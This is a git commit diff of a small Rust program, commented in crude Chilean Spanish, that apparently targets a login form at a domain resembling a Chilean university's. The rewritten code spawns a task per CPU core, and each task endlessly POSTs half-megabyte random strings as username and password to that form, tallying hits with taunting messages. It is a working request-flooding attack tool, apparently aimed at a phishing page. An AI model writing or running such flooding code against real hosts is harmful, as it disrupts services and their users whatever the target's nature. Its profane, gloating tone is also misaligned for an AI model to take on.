main: hacerlo multithreaded pero bien

This commit is contained in:
Lux Aliaga 2024-10-22 20:06:49 -03:00
parent c7c6b70f05
commit b177b00b7a
No known key found for this signature in database
GPG key ID: D6062F6E90133A56
2 changed files with 43 additions and 31 deletions

View file

@ -6,7 +6,7 @@ edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies] [dependencies]
rand = "0.8.4"
num_cpus = "1.16" num_cpus = "1.16"
rand = "0.8.4"
reqwest = "0.12.8" reqwest = "0.12.8"
tokio = { version = "1", features = ["full"] } tokio = { version = "1", features = ["full"] }

View file

@ -1,41 +1,53 @@
use std::collections::HashMap;
use rand::{distributions::Alphanumeric, Rng}; use rand::{distributions::Alphanumeric, Rng};
use reqwest::Client; use reqwest::Client;
use tokio::runtime; use std::{collections::HashMap, io, io::Write, sync::Arc};
use tokio::sync::Mutex;
#[tokio::main] #[tokio::main]
async fn main() { async fn main() {
let garbage: String = rand::thread_rng() let request = Client::new().post("https://usach.lat/procesar.php");
.sample_iter(&Alphanumeric)
.take(512000)
.map(char::from)
.collect();
println!("{} bytes pal qliao, a prepararse :3", garbage.len());
let mut params = HashMap::new();
params.insert("username", garbage.clone());
params.insert("password", garbage.clone());
let request = Client::new()
.post("https://usach.lat/procesar.php")
.form(&params);
let threads = num_cpus::get(); let threads = num_cpus::get();
let rt = runtime::Builder::new_multi_thread() let count: Arc<Mutex<u64>> = Arc::new(Mutex::new(0));
.enable_io()
.enable_time()
.worker_threads(threads)
.build()
.expect("FUCK!!!!");
println!("pasa la raja usachin 😈"); println!("pasa la raja usachin 😈");
loop { for _ in 0..threads {
let inner = request.try_clone().unwrap(); let inner = request.try_clone().unwrap();
rt.spawn(async move { let memory = Arc::clone(&count);
let response = inner.send().await.unwrap();
println!("plap! {}", response.status()); tokio::spawn(async move {
}) loop {
.await let garbage: String = rand::thread_rng()
.unwrap(); .sample_iter(&Alphanumeric)
.take(512000)
.map(char::from)
.collect();
let mut params = HashMap::new();
params.insert("username", garbage.clone());
params.insert("password", garbage.clone());
inner
.try_clone()
.unwrap()
.form(&params)
.send()
.await
.unwrap();
let mut lock = memory.lock().await;
*lock += 1;
}
});
}
let outer = Arc::clone(&count);
let mut last = 0;
loop {
let lock = outer.lock().await;
let count = *lock;
if count != last {
print!("\rplap! te lo culeaste {count} veces");
io::stdout().flush().unwrap();
last += 1
}
} }
} }